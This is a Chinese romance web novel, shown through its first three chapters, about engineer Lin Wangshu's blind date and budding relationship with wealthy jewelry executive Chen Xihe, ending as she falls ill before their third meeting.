《人间悦己[先婚后爱]》
1. 花束
春宜市连年多雨,春夏季总是潮湿弥漫。每到这个时候,空气黏黏糊糊,湿气蔓延,仿佛处在雨季,人的心情亦然。
林望舒坐在工位上发呆。她看向窗外淅淅沥沥的雨,回想她来到春宜的第一天……那是个炎炎夏日,彼时的她也才十八岁。
出神间,她忽而意识到,这是她到来到这个城市的第七年。
七年之痒,她总觉得离这座城市很远。
“望舒,下班了你不走吗?”
混沌的大脑一刻间被人厘清,林望舒回过神来。
说话人是她邻座的同事,温婉。人如其名,是个温婉可人的女生。
她每天都是笑容满面,好像什么都打不倒。每每不顺的时候,林望舒和她吐吐苦水,她总是很耐心地倾听,她是林望舒在这儿为数不多的好朋友。
温婉看着她出神的模样,忍不住上前点点她额头提醒。
林望舒这才回头,对她弯眼笑笑对她说:“知道,我晚点还有事,不想现在出门等雨。”
说完,林望舒对正要离开的温婉挥手道别。
过了下班时间,平时嘈杂的办公室,静谧无声。窗外雨落滴答,敲打这窗沿,在这沉闷的空间里显得格外动听。这是林望舒为数不多的温存时刻。
直到闹钟响起……
放空时间被打断,心情也莫名烦躁起来。不过她并不是个情绪外露的人,多年下来的习惯驱使,她面上分毫不显,还是淡淡的看不出情绪。
林望舒很厌烦一切工作外的非必要性社交。如果可以选择,她今天实在不想去应付那场和陌生人的饭局,更何况还是相亲局。
她从包里拿出口红,坐在工位上简单补了一下色,让人看起来有精神点。知道今天要见面,她实在没什么心思,早上出门也只随意抹了一层素颜霜。
走到制航科技楼下,林望舒同扑面而来的潮湿气拥了个满怀。好在提前搭的车十分顺利,错过了晚班高峰期,差不多十来分钟,林望舒便到了。
相约地在兰庭苑,据说是个环境清丽的中餐馆。这里的位置时常早就预约满了。当然,地点不是她订的。
多数情况下,营业时间不长,但胜在味道客源一直都很多。早些时候林望舒也打算来试一试,但最后还是被价格劝退。毕竟普通人还没有奢侈到,要来这里消费的地步。
今天的餐厅,自然不是她订的。
方才一下车,前台有条不紊地出来迎接:“您好,女士,请问有预约吗?”
“陈羲和。”林望舒抿唇,微笑着点头,报了对方的名字。
随即被带到了内里的包间——“晴雅室”。
内里相比院外更静一些,林望舒莫名觉得这里很放松,喝这个雨天莫名的适配。和她为数不多几次相亲见面的氛围很不同。
本就没放在心上,打算见过面聊几句,就找借口说“公司临时有事”便离开的林望舒,自己都没发觉,现在的她,对这场相亲有了点未知的期待。
林望舒站在门口稍微静了一下思绪,踩着约定时间,再推开门走进。
傍晚落日的阳光透过玻璃,在室内院种的座椅上投下光斑。男人坐在木质长椅上,整侧头看着窗外。
仅仅一个侧脸,林望舒的脚步下意识顿住了。
光线勾勒出他清晰的下颌线,和高挺的鼻梁。
林望舒视线逐渐下移。
他将纯白的衬衫袖口挽起,露出白净的小臂,下身着深蓝色牛仔裤。虽说是一副很常见的穿搭,但掩饰不了他身上那些许的矜贵。
这幅穿着莫名有点熟悉。
林望舒默默低头看向自己的穿搭。纯白色V领泡泡袖上衣,下着一条蓝色微喇牛仔裤。她觉得两人这一身貌似还…蛮搭的。
思绪短短一偏。恰好这时他听到这边的动静,转过头来。
四目相对的瞬间,林望舒感觉自己的心跳漏了一拍。一种前所未有的陌生情绪裹挟着自己。
他眼睛很好看,瞳孔颜色偏深,犹如蕴光的玉。
他就这样看着她,目光沉静,却带着一种无形的力量,瞬间打破了林望舒先前的所有心理建设。
周遭安静极了,这一秒却在脑海里慢放失帧。
怦怦怦。
她的一切反应化作扑通扑通的心跳声。
林望舒先前丝毫不在乎这个相亲对象,在母亲说发给她照片的时候,自己也是严词拒绝了……但她不得不承认,现实中见到这幅容貌,给她了恍惚的不真实感。
陈羲和抬眸看向她,笑意不加掩饰:“你好,是林望舒小姐吗?我是陈羲和。”
对面的男人站起身朝她走来。
他的声音比想象中更低醇一些,嗓音清骏但不显冷漠,如雪如松。
“你好,我…是林望舒。”
林望舒听到自己声音有些发紧,暗自掐着手心维持镇静。
陈羲和简单问过林望舒的忌口和喜好,便在原有的菜式上修正好,点好了菜。
落座后,林望舒可以说是手忙脚乱地去拿桌上的柠檬水。
冰冷的杯壁顺着手心蔓延,让她觉得稍微清醒了一点。
二人面对而坐,举手投足都在对方的视线里,林望舒刚调整好的心绪又乱了。她往前二十五年也从来没有过任何相亲经验,前面寥寥几次连流程都没走完过。
他在看我!
林望舒能感觉到他的目光落在自己脸上,原本觉得毫无问题的裸色口红,此刻却让她担心,是不是太淡了。
正尴尬着想开口说些什么,就见陈羲和手里拿起了一束花——一束粉玫瑰,用零散的白色满天星作点缀,最外层是尤加利叶,清新淡雅。
花束不大,不会过于隆重,对于相亲的局面,正好。
“今天来的路上看到一家花店,觉得粉玫瑰很适合你。”说这话时,陈羲和目光不移地看着林望舒,他修长的手指轻握着花束。
连手指都这么好看……
她忽然觉得自己现在糟糕透了。随意的披肩头发,敷衍的妆容……他会不会觉得我对这次相亲一点都不重视啊。
特地带了花,这代表他对这次见面很重视,对吗?
这个念头一出,犹如石子落入平静的湖面,在她心里漾开层层涟漪。
林望舒接过,把花束轻放在鼻尖。长发被她挽在耳后,露出了月牙型的耳钉。粉玫瑰淡淡花香混着周遭湿润的雨水气,就像早晨花间露水的味道,很舒服。
“谢谢,我很喜欢。”
有了先前几句,后面二人倒也不算冷场。一顿饭下来,林望舒只觉得这些谈话浓度适宜,陈羲和应该是一个很有分寸感的人。
*
夜幕降临,车水马龙。夏日的雨水不知道在什么间隙中停了。
两人并肩走着,周遭喧嚣仿若与他们无关。
“林望舒?”陈羲和侧头看她。
乍然听到从他口中叫自己的名字,林望舒还有点不习惯。
她回望过去,“嗯?”
四目相对,林望舒只在这一瞬闻到了手里的花香,和对面男人身上的陌生气息。不知道该做出如何的回应。
一声轻笑传入耳中,酥酥麻麻。
“想一起走走?还是送你回去?”
经过一晚上的相处,林望舒觉得现在脑子很不清醒。顺着他的话回:“那还是送我回去吧。”
说完她才意识到,自己这话听起来像在要求相亲对象送自己回家。原本她是打算直接回去的……
完了!
林望舒脑袋里蹦出这两个字来。
“好。”
陈羲和没给她尴尬的机会,自然地带着她往停车场走,像是毫不在意刚刚林望舒的“失言”。
车外流光飘影,灯火阑珊。
车内宁静无声,落针可闻。
红灯,又到了一个十字路口。
林望舒忍不住偏头打量,男人侧脸轮廓清晰,背着光有些看不清他神色,高挺的鼻梁下薄唇轻抿。
陈羲和冷白的手指轻敲方向盘,黑白对比显然,他像是在思考什么。
“嗯…怎么了吗?”林望舒轻声问。
陈羲和偏过头来看她,失笑片刻,右手握拳到唇边轻咳:“在想话题。”
原来这场相亲,游刃有余是他的伪装,他也只是故作轻松。
“哦。”林望舒忍笑不再看他。
车很快就到了圣都新城,平日里下班走过的漫漫长路,今天居然觉得格外的短。
停下车,陈羲和解开安全带下车到另一旁替林望舒打开车门。
绅士、周到。
好像要就此分开了……林望舒不知道正常相亲对象都是这样吗?还是说其实他对自己,只是礼貌和习惯索然,并没有想继续发展的意图。
雨天的落寞感又袭来了,她不自觉带了点失落的情绪说:“今天,谢谢你。那……我先回去了。”
“林望舒…”
正要转身的林望舒停住脚。两人视线相撞。
陈羲和低头看她,像车上那个找话题的他一样忐忑:“我想问问,你今天对我满意吗?”
乍然听到这么一句,林望舒显然还没反应过来。
陈羲和也没想她回答,自顾自的说了下去。
“今天是我第一次相亲,可能有些地方没做好,希望你不要介意。”他稍顿一下,神情专注地说,“我来相亲,是奔着结婚和相守一辈子来的。今天见了你,我觉得我的想法还是没有变。所以,如果你有一点点想继续发展下去的意思,可以告诉我吗?”
原来这次相亲,不止是她的一厢情愿。<
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p>林望舒手指无意识的缠绕着花束的蝴蝶结丝带,目光下意识躲闪,睫毛轻颤,不敢与陈羲和对视太久。
那双眼太过明亮,她怕被他看出内心的雀跃。但林望舒又忍不住偷偷回望,目光触碰的瞬间又迅速移开了视线。
笑意从嘴角漾开,在一瞬间后她又抿住唇。可这这点欢愉太满了,终究从眼底,眉间,每一个细小的表情中逃逸出来。
狂喜之后却是片刻的自我怀疑,仿若怕这美好的泡泡一触即碎。炙热又真诚的目光落在她身上,融化了这点怀疑,只剩下甜滋滋的蜜意。
怔然一瞬,林望舒沉默了很久。
在这样快节奏的社会里,相亲好像都是如此。互相有好感就提出来慢慢发展,不太对眼那就及时止损,不浪费彼此时间……
林望舒不知道陈羲和是不是也是这样。她思来想去也不知道该如何回复对方这么郑重的话语。
而此刻陈羲和内心却没法淡定。
林望舒思考的神情,在他眼里就成了犹豫不决,想着该如何婉拒。
“如果没有,也……”没关系三个字还没说出,陈羲和就被打断了。
“我记得我们只留了电话,还没加微信?你扫我吧。”说完,林望舒拿出手机对着陈羲和打开了二维码。
轻笑一声,对面的男人低声说了句:“好”。
他说话时含笑的声音,街角面包店传来的甜香,自己如擂鼓敲动的心跳
……无数的琐碎细节,共同钩织了他们见面的这一晚。
……
泼墨的夜色袭来,安静长夜,呼吸都变得清晰可闻。
林望舒从浴室出来,及背长发全部包裹在干发帽里,镜中的她,露出修长的脖颈。白皙的皮肤被温热的湿气氤氲,泛出红晕。
她在洗漱间护肤,想着今晚的一切,有着浓浓的不真实感。仿若平时单调的世界突然被闯入,平静的生活泛起层层涟漪,但这并不恼人,反而新奇,期待……夹杂着说不出来的欢喜。
这是她二十五年来,第一次为一个人而欢喜,甚至她自己都不明白。
无措慌乱、但迷恋。
她看向自己放在床头的花,旁边还放置自己刚回来拿着花拍的拍立得。
她想,或许因为,这是第一个送她花的人。
长夜无痕,今晚不止一个人为之欣喜若狂。
分开几十分钟后,陈羲和回到公寓不知是第几次拿起手机,终于等到了期待已久的信息。
Moon:【我通过了你的朋友验证请求,现在我们可以开始聊天了。】
明明只是个系统默认的消息,却依旧让人心神一晃。
琢磨着措辞,陈羲和在对话框删删改改。
“你好我是陈羲和。”不行,这太奇怪了,今天说的够多了。
“你睡了吗?”也不行,如果她说没有,我又该说什么继续话题。
手机对面的林望舒看着几次断断续续由“时序”变成“对方正在输入中”的聊天框,陷入了沉思。
难道是网卡了?要不要我先打个招呼?
会不会显得很不矜持啊……
最后还是她的手机震动打破了僵局。
时序:【图片】
时序:【家里这只边牧很淘气,今晚没带它出去玩,正在跟我撒娇】
图片里,一只边牧正把脑袋耷拉在陈羲和手上,圆圆的眼睛湿漉漉的看着镜头,委委屈屈。
林望舒瞬间被它萌化。
好可爱的狗狗,想rua~
Moon:【它叫什么名字?好可爱!!!你的头像也是它吗?】
陈羲和头像是边牧趴在他前胸的照片,男人穿着一件黑色卫衣,没有露脸。很网感的一张自拍,是以林望舒事先才没发现是照片是他本人。
时序:【它叫乖点】
时序:【是它】
乖点?没想到还有人给宠物取这样的名字。
Moon:【名字好特别!为什么叫这个?头像这张更萌!】
后面配上一个线条小狗跑步的表情包。
不自觉看着她的消息就会莫名开心,网上聊天的她和现实里很不一样,好像更随意放松,更自洽了一些。
陈羲和思考片刻,在手机上敲敲打打。
时序:【以后告诉你】
—“以后告诉你”。
简简单单的一句话,却让人臆想万分。暧昧的气息陡然上升,占据主导地位。适才的那点恍惚感又袭来。
又过了一会儿,想着时间也不早了,林望舒回道:【好,不早了,我先睡了。明天还要上班!】
【好,晚安】
话毕,手机另一侧的陈羲和,将乖点抱起,揉了揉它的脑袋。
“她说你很可爱,应该会很喜欢你。”
2. 第二次见面
续航是无人机技术很难攻克的难题。简单从三个层面分析,硬件优化,控飞标准,能量管理……”
会议室几人目光汇聚到林望舒身上。
“现目前对于优化硬件的策略,你们有什么想法?”林望舒微微俯身,一只手撑在会议桌上,左侧头发被她挽在耳后,右手翻动放在桌面的报告。
“从最基础直接的方面来说,我觉得可以使用固态电池。”
其中一人回应,紧接着说出自己的见解。
林望舒指尖微屈,轻轻叩着文件夹,思考一阵回道:“固态电池虽能达到预期效果,但是实际操作可能存在不稳定的情况。长久而言,不算一个合理的方法。”
她稍顿片刻,继续说道,“如果从这方面入手,可以后续多关注锂聚合物电池的新进展......”
林望舒工作的制航科技,主要研究无人机制造及航拍应用,是行业里目前的佼佼者。她从硕士期间到毕业的一直在这工作。现如今,正在负责无人机的开发制造。
开完会,林望舒回到工位,拿着咖啡续命,一休息下来她就只想放空。
不过没清闲多久,她带的小组正是最忙的时候,每天处理的事情太多了。稍坐片刻,又开始忙着改文件,督促工作进度。
等到回完工作消息,处理完各项工作,已经十二点了。林望舒没什么胃口,打算去公司食堂凑合一顿。
她刚打好饭坐下,准备刷刷朋友圈,陈羲和的消息就发了过来。
时序:【吃饭了吗?】
Moon:【正在!^^】
顺势,林望舒点开陈羲和的朋友圈。
他朋友圈很干净,寥寥几条,都是关于风景的。偶尔出现几张自己的照片也都是背影。唯一不同风格的大概就是经常拍小狗。
在他的镜头里的小狗怎么这么可爱,挑衅的龇牙,委屈的小表情,欢喜的跳跃……
很热爱生活,林望舒如是地评价。
忽而她意识到,陈羲和会不会也这样看过自己朋友圈。好像自己还没给他分组,那她以前那些沙雕朋友圈不会都被看到了吧!
林望舒退出陈羲和的朋友圈界面,回到聊天框点自己的头像,想看看自己朋友圈可见范围是多少,结果操作太快,变成了拍一拍。
完蛋了啊啊啊啊啊啊!
只见两人少得可怜的聊天下,出现一行小字:“‘我’拍了拍自己说‘想成为我的粉丝吗?”
救命。为什么是这条!
林望舒欲哭无泪,忙着想撤回。
眼前却又冒出一行小字:“‘陈羲和’拍了拍陈羲和”。
一个默认的拍一拍。
时序:【知道了,我的是这个】
一个预料之外的回答,他在给她缓解尴尬,依旧这么得体。
虽然可能用处不大……
Moon:【QAQ】
时序:【好好吃饭,我待会还有个会】
Moon:【好,你先去忙】
放下手机,林望舒简直想找个地缝钻进去,又马上再次小心翼翼地打开手机,把拍一拍改成系统默认。
呜呜,太尴尬了!再也不要见到陈羲和了!
草草吃完了饭,桌上的手机震动了一下又一下。
是他。
【刚刚忘记回答了】
【想】
是在回答她的拍一拍。
心间柔软一处被击中,晃啊晃啊晃,这种感觉很奇妙,似乎无论你说什么,对方都能很好的接住你的情绪。
Moon:【[猫猫点头]jpg.】
算了,还是想见见他。
距离上次相亲见面,已经是三天了。
*
林望舒一直加班到晚上八点,走下楼,接到了闺蜜陈悦的电话。
“月月,我在你公司楼下。嘿嘿!”
陈悦,是林望舒二十多年的好朋友。两人打从幼儿园起就是对门,一直到大学都在一个城市。不过毕业后,林望舒选择了留在春宜市,陈悦回了丰安市做珠宝设计师。
算下来,距她们上次见面已经三个月了。
林望舒根本不知道陈悦是什么时候来的春宜。怪不得今天下午还在问她多久下班。
林望舒在电话里回复来了,便快步走出去,撞进陈悦怀里。
“啊啊啊你怎么会来,我好想你!”
陈悦装作颇为嫌弃的摸样,把林望舒扯了下来。
“还在你公司门口呢,能不能有点形象了,你带的实习生看到怎么办,还能不能有一点点点的威严?林质监?”话毕,还用手指比了一下。
林望舒笑笑她,忙推开门车门上去。
她摩挲了一下暴露在外的手臂,怎么感觉晚上还有点冷。而后林望舒又把车窗关上,清了清嗓子说:“准备去哪呀?”
陈悦把空调开高了一点,顺道把导航调好,出发。
“当然是去吃漂亮饭!我收藏了好几家春宜市的餐厅呢。”
……
“停停停,你怎么突然答应相亲了?袁女士又催你了吗?”
袁女士说的就是林望舒的母亲,袁成曼。
林望舒戳了戳面前的面包鸡,撕下一块放进嘴里,含糊说:“我妈倒不算吧,她老早就想让我成家立业,业是立的差不多了,现在就差个成家了。不过就是我妈的好朋友孟湘阿姨......”
“她之前不是想撮合我和她儿子嘛,谁知道她儿子谈了恋爱还没告诉她。后面知道了,又觉得对不起我,就把她外甥介绍给我了。”
袁成曼和孟湘是之前在旅游团认识的,林望舒当时觉得被催婚催的有些烦了,干脆直接给父母报了个旅游团,找点清闲。
可能是投缘吧,两人很少聊得来,旅游结束了还时常联系。
孟湘打从第一次见到林望舒就喜欢的不行,天天在林望舒面前夸她的儿子,说二人绝对很合拍。本来想撮合两人,没成交个朋友也好啊,结果后面哪知道她儿子居然已经谈起恋爱了。
林望舒当时也不恼,反而庆幸了好一阵子,总算可以不用去相亲了。结果哪能知道又介绍了一个,这下更不好推辞了。
但话又说回来,遇到了他……
想起陈羲和,林望舒不经意拿起手机看了看。
没有他的消息。
林望舒的一举一动全然落在陈悦眼里,她笑着打量林望舒:“在等谁的消息?”
“啊?没有啊。”
陈悦不置可否,面上表情却像是在说,“你觉得我会信吗?”
被看穿的林望舒,只是默默低头吃一旁的冰淇淋。
“诶,你对象是干什么的啊?哪里人?多少岁了?对你好么?他人怎么样啊?”陈悦八卦地对着林望舒挤眉弄眼。
啊啊啊哪来的对象!还有,她是在调查户口吗?
“咱们都是新时代好青年,能不能说话严谨一点。是相亲对象!还不是对象好么!”
“好好相亲对象。”陈悦敷衍道,“不过我还以为你们在一起了,这么如胶似漆的样子。”
林望舒没理会后面几句,想了想她的问题慢慢回道:“比我大两岁,二十七了,是本地人。之前孟湘阿姨说他是‘至臻集团’老板来着,对了是个高奢珠宝公司来着,你们算同行?应该知道吧。”
陈悦正准备端起奶茶,手指却在碰上杯壁的一瞬猛地一滑。玻璃杯和木质桌面摩擦,发出刺耳的声音。她像是被暗下来暂停键,完全僵住了。
“他是……至臻的老板?陈羲和?”她声音带了点难以置信的尖利。
“对啊。”
救命啊啊啊啊啊啊!
这谁能不知道啊!哪是同行,她配吗!
得到确认后,陈悦后背重重靠在身后的椅背上。神采奕奕的脸顿时换了一种神色,她有些呆滞的喃喃自语:“你是说……那个绝顶有钱的陈大少爷,二十出头的年纪就创立自己品牌,并且把公司打理的井井有条的人,是你相亲对象?”
虽然很震惊,但是陈悦仅花了一秒的时间接受了这个事实。无他,她就是觉得林望舒实在是太有实力,况且她就该值得最好的。
陈悦混沌的大脑被一根线理清。
“其实我这次是先来见你,
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还有一件事要说……前段时间,我们公司被至臻收购了,我们后天还要回一趟丰安,再等半个多月工作交接完,我应该就能留在春宜工作了。”
“等等…你们公司被收购了。也就是说,陈羲和现在是你的……”林望舒懵懵地抬头。
两种声线重合:“老板?/老板!”
*
晚上九点,无意成为相亲对象闺蜜的老板的陈羲和,才开完会回到办公室。
不知多少次地打开微信,置顶那处依旧没有消息。
但陈羲和敏锐的发现,她今天换了个头像——一个上翘的弦月。
她的头像都是月亮,就像她的名字一样。
望舒——“前望舒使先驱兮,后飞廉使奔属”[1]月神,月亮。
陈羲和翻到林望舒朋友圈。四十分钟前更新。
“今天,两个yueyue见面啦!”
一组四宫格,配图是和另一个女生的合照,还有晚餐特写。
他点开图片,林望舒眼睛亮亮的看向镜头,眼眸微弯,隔着屏幕能觉察到她的欢喜。
长时间工作的疲惫一瞬便消散无影,好像这样简单地看着她就足够了。
陈羲和又想到了些什么,拿着手机笑了一声。
好像更懂她一点了。
所以,上翘的弦月代表开心。
陈羲和又看了看图片,起身拿起外套,顺便在群里给几个发小发消息。
【出来聚一下?】
平常从不冒泡的陈羲和发消息,群里顿时陡然热闹了起来。
江屿:【?】
景承熠:【??】
宋明煦:【???】
陈羲和:……
宋明煦:【真人?】
江屿:【没被盗号?】
景承熠:【今天也不是周四啊……】
陈羲和:【有病?请吃饭,来不来。】
片刻,四人相聚。
“陈羲和你今天抽什么风?”江屿把玩着酒杯,戏谑地看陈羲和。
陈羲和不置一词,视线落在另一处。
“陈大少爷最近不是相亲吗?怎么?今天来请教哥哥们啊?”宋明煦不着调地打趣。
景承熠倒是没接这句,只暗自感叹:胆子挺大啊。
陈羲和相亲这件事,在他们圈子里不算秘密。只是没想到这么久以来,一向一副“性冷淡”样子的陈羲和居然会主动去相亲。
早些时候陈父陈母也没少为他的终身大事操心,但他总是一一回绝,甚至知道要催婚,连家都不回了。
“行啊,请教请教你们。但是……我至少还有个相亲对象呢,你们呢?”
陈羲和冷不丁冒出一句,三人噎住,哑口无言。
靠!太扎心了。
陈羲和轻呵一声,“走了,我去见我对象了,你们慢慢吃。”
剩下三人:???
就在他们的注视下,只见陈羲和走到对面两个女生面前,对着其中一个女生有说有笑地打招呼。
?
“不是?他干嘛!我们又在干嘛?”宋明煦转头对另外两人说,一边手指着不远处的陈羲和。
江屿摇摇头,喝下手中那杯酒:“呵,被利用了。”
景承熠附和:“见色忘友!”
另一旁的三人远不知这处的“怨气幽天”。
“林望舒”
熟悉、凛冽的声音。
“诶?你怎么会在这里!”
林望舒看着朝她走过来的陈羲和惊喜地笑笑,顺便给身边的两人互相介绍。
“这是陈悦,我很好很好的朋友。”
陈羲和朝陈悦微微颔首。
“悦悦,这是我……”
林望舒暂时不知道该如何形容二人的关系,紧急转弯道,“跟你提过的陈羲和。”
陈羲和听到她停顿,不动声色的微挑了一下眉头。
这才回复她刚刚的话,“来和朋友吃饭”。说完侧头看了看上前靠近的几人。
林望舒正准备一一打个招呼,就听到对面三人,十分熟稔地:“嫂子好!”
3. 玫瑰
—“嫂子好!”
脑子“轰”的一声,一股热意从脖颈蔓延到耳尖,林望舒一整个僵在原地,耳边回想着那掷地有声的三个字,时不时还夹杂着陈悦的几声低语。
“你不是说只是相亲对象吗?这都开始叫嫂子了?”陈悦又摇摇头,啧啧两声:“贵圈真乱。”
混乱之中,林望舒和陈羲和撞上了视线。
他整个人还是那样站在原地,没什么情绪。但泛红的耳垂暴露他的忐忑。
林望舒几乎是一瞬,雀跃了起来。
她落落大方,从容不迫的对他们三人说:“你们好我叫林望舒,我和陈羲和还在互相了解阶段……”
就这样不落面子又很得体的点明关系。
但落在宋明煦耳中却变了个味道,他攀住陈羲和肩膀憋着笑嘲讽:“这不就是你还没名没分吗,好意思说有对象不?”
陈羲和懒得理他,随便说几句将那三人打发走,才问道林望舒二人:
“你们要回去了?我送你们。”
陈悦挽林望舒的胳膊,边朝前走边回道:“好啊,麻烦你了”
林望舒扯扯她的手,对着陈悦做唇语:“你不是有车吗?”
“那不是还没坐过大老板的车嘛,来年还不知道得什么时候了!我才不是个会错过这等机会的人。”
等到走进,林望舒才发觉,他这次开的车和上次不是一辆。她对车的品牌了解不多,但是也知道上次那辆价格不菲。只是外表看起来十分低调,就像陈羲和本人带给林望舒的感觉一样。
但这次,自诩对豪车不甚了解的林望舒,也知道他今天开的是一辆迈巴赫。她这才对陈羲和的有钱有了些实质性的感受,原来他们有钱人的车都是随便换着开的。
而陈悦十分上道的,迅速麻溜上后座,并贴心地关好了门,给他们两个留足了空间。
陈羲和还是如之前那样,礼貌绅士地先给林望舒打开车门,再自己走向主驾驶。
他熟稔地打开导航把林望舒住址输好:“还是这?”
整个过程行云流水,不带丝毫停顿。怎么这么熟啊!还说只是简简单单清清白白的相亲对象关系。
陈悦工作迁移还没落实下来,这次是和同事一起来的春宜,只待一两天。自然没同先前多次一般和林望舒住一起。
告诉完陈羲和酒店的位置后,陈悦就在后面看着这俩的动静,眨巴眨巴眼睛。
不知道是不是车上多了一个人的缘故,林望舒怪不自在的。陈羲和好像也察觉到车上的气氛僵硬,放起了纯音乐。
陈悦看着两人都没有要开口的样子,自己特意制造话题道:“月月,今天那家餐厅的甜品真不错!特别是你点的提拉米苏。”
“是啊,我也觉得。口感很细腻。”林望舒从后视镜对陈悦说,笑意浅浅,回想品尝的味道。
陈羲和从后视镜看了眼陈悦,话却是对着林望舒说的:“提拉米苏?我记得你上次也提过喜欢这个。看来真的很喜欢,我知道一家口碑很好的甜品店,下次带你们一起去。”
“好呀,我们月月最喜欢了!”
面对陈悦明显的打趣,林望舒脸热得转头看向窗外。
但心里却是甜蜜蜜的,像夏日打开的冰镇汽水,滋啦的冒泡。这种,无意间说出的话却被人牢牢记住的感觉,真好。
有了陈悦活跃气氛,行驶过程不算无趣。但这样的热闹并没有持续多久,陈悦住的酒店很快就到了。
“我到了!谢谢陈总专门护送!你们慢走,开车注意安全。”
室内又陷入安静,沉默的连呼吸声都格外清晰。
“你闺蜜她很热闹。”
“是啊,有她在从来不会冷场。”
“那……和我这样,有时候可能有点慢热无趣的人待在一起,会不会让你觉得很无聊?”
即使还在专心开车,陈羲和还是时刻注意着林望舒的一举一动。他借着这样有些玩笑的意味,暗自打探她的心。
忐忑、不安。
“不会,我觉得你这样就很好。”
她也是个慢热的人,总是要小心翼翼视察环境,寻觅一个静谧安全的小角落。她承认,他们属于同类。
“嗯…”轻声,欢喜。
还好是你,还好有你。
停稳车,陈羲和解开安全带,他不再像之前一样格外保持二人的距离,他靠近林望舒,替她拿上放在后座才买的外套。
下车后林望舒正要道别就听见他说:
“太晚了,不安全。我送你到楼下。”
“不用了,太麻烦你了。”
眼前的男人手里拿着自己的东西,声音温和但不容置疑地说:“不麻烦,应该的。而且……”
男人离她很近,此刻又俯身下来看她,四目相对,呼吸可闻。
一双笑意缱绻的桃花眼映入眼帘,欢喜毫不掩饰,“我想确认你安全到家。”
林望舒有168,不算矮。但在陈羲和面前不及他耳朵,还是显得小小一个。
她腾的一下双颊染上红晕,明明晚上没有喝酒,她到觉得自己像是醉了,怎么就被这几句话迷的晕晕乎乎了。
呼吸骤然放轻,他们都怕轻呼声会打破二人之间的平衡。
看着眼前林望舒呆呆的模样,陈羲和勾唇一笑,眉眼皆是笑意。他看着林望舒双眸倒映出自己的样子,仿若天地间,此刻,此景,只容得下自己。
她还憋着气,脸颊有点微鼓。
她真的好可爱。
长发柔顺,不听话冒出的几根头发显示出她内心的不平静。
好想帮她理顺……
鬼使神差地,陈羲和也这么做了。
左手抬起靠近,轻缓抚过她右耳上处,将那几缕头发挽在耳后。动作小心带着点珍视,却无意碰到她耳朵。
好像耳朵也红了。
“好…好……”
说完林望舒如惊弓之鸟,红着脸退开他无形的怀抱。转身走进小区。
她在前,他在后。
两人只隔着半步不到的距离。
沉闷夜色,风过林梢。早蝉耐不住寂寞,暗自出没。在墨色的裹挟下,掩饰震耳欲聋的心悸。
月还是那么静,影却兀自相贴。
形影不离。
林望舒楼下只在进小区右转不远处。行至不过五六分钟。
却也足够。对于陈羲和而言,只要和她在一起就很好。
“我到了,再见。”
适才呼吸相贴不过转眼一瞬,她已经调整好呼吸,面上一如往常地平静,声音却有点落荒而逃的意味。
陈羲和视线没有从她身上移开过。
他看着她,慢慢踱步,深呼吸;又看着她,小心翼翼地避开,顺着月光照过树荫缝隙,洒落下的斑驳。
这种感觉很奇妙,哪怕无所事事,却拥有了从未有过的满足。
陈羲和将手里的外套披在林望舒身上,不明所以地问:“你紧张什么?怕我?”顺便替她拢了拢衣领。
“不怕,想谢谢你!”
她没说原因,挥挥手往楼梯间走。
“月月……”他站在月色里,路灯的光影柔和地打在他身上。
林望舒看不清他神情,但她觉得陈羲和现在一定是笑着的。
“晚安,好梦!”
陈羲和没说完的话,此刻清晰明朗地传入自己的耳朵。
隔着门框看到外面站着的他,她回之一笑:“晚安,下次见。”
一场宣之于众的邀约。
*
那天晚上回去,陈羲和几乎一晚没睡。
他想,第二次见面需要有理应有的仪式感,他不希望和林望舒每次的见面有任何差池与遗憾。
他同她一样,期待着没有期限的下一次见面。
地点,礼物,氛围……
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这其中的一切,陈羲和都细致入微的准备好。
还有,她好像很喜欢花……
第二天中午,林望舒收到了陈羲和的邀约——一场音乐会。
陌生、紧张、欣喜。现在这种情绪不受控的感觉令她无措。
林望舒想起很久以前读过的《小王子》:
“比方说,你下午四点来,那么从三点钟起,我就开始感到幸福。时间越临近,我就越感到幸福。到了四点钟的时候,我就会坐立不安;我就会发现幸福的代价。但是,如果你随便什么时候来,我就不知道在什么时候准备好我的心情……”
初读时,林望舒并不能理解这种莫由来的情绪。关乎情爱,她所知的少之又少,甚者觉得把这样的文字赋予在爱情上有些晦涩难懂。
至少在她眼中,人都是利己主义者,关注个人才是每个人的本性。这无关对错,实事所然。她也实在想不通,一个人的情绪如何会被另一个人左右。
但如今,她好像能懂小王子和那朵玫瑰独一无二的情愫。
她好像遇到自己的玫瑰了。
*
制航科技整体待遇很好,除必要忙碌的时候,从不克扣节假日,就连周末也都是双休。等到周五晚,临近下班时办公室氛围轻松,喧闹着假期的欢愉。
今晚该是他们第三次见面。
林望舒是个典型的J人,做任何事都会在心中梳理出一个时间表。她想,不能敷衍对待每一次见面。今天下班后还得先回家换一身衣服。
“八点见面,那就该七点五十到,也就应该最晚七点十分出发。找衣服化妆再算下来,怎么也要四十分钟了,下班回去坐地铁也要……”
这么寻思着,她又开始焦虑,一个环节稍微出错,后面的计划全打乱了,时间怎么这么不够用。人的一天为什么不能有48小时。
在期待的浪潮中熬到下班。
所谓“否极泰来,物极必反”。一切都是那么地巧,一切都是那么的不合时宜。
林望舒坐在工位上,却突然觉得周身冰冷,还有点喘不过气。她找出包里放着的随身镜,脸上泛着不正常的红,四肢软绵无力。
在下午到时候她就感觉到有些不舒服了,身体早有预告,但她完全被期待冲昏头脑,没往这里像过。
原来之前觉得的周围环境闷热,胃口不好,都不是错觉。悄然而至的病气蔓延,她一切的行动迟缓。
今天好像不能赴约了。
她很了解自己的身体,至少现在的确不是强撑的时候。
林望舒点开和陈羲和的聊天框,忍着身体的不适,一字一句输入。
Moon:【抱歉,我临时有事,今天不能赴约了。】
她没说具体缘由。
克制、疏远。这毕竟只是她自己的事。
打车回到家,寒冷刺骨,明明这还是夏季,炎热的环境却丝毫不起作用。
林望舒熟练地烧水兑药,脱去衣服,简单洗了个热水澡。身上还是很难受,她蒙着被子,只将半张脸露在外面,裹紧被子,严丝合缝,不留一点空隙。
昏昏沉沉睡下了。
无心顾及,她没发现放在一旁的手机屏幕亮了起来:
时序:【没关系,下次会见的】
……
迷迷糊糊地睡了一个小时,身上的热不但没有消散,反而还冒了一身冷汗。躺下的整个过程中,林望舒睡得极其不安,她好像还做梦了。光怪陆离,交杂着那些从未诉说出的苦。
委屈、不甘,弥漫在空气中,全身发抖似得难受。
生病往往最难过的不是身体,而是心理。
房间窗帘紧闭,黑沉沉一片,黑暗中人的感官无限放大。房间太安静了,没有一点生气,静悄悄的不只有房间,还有她的内心。
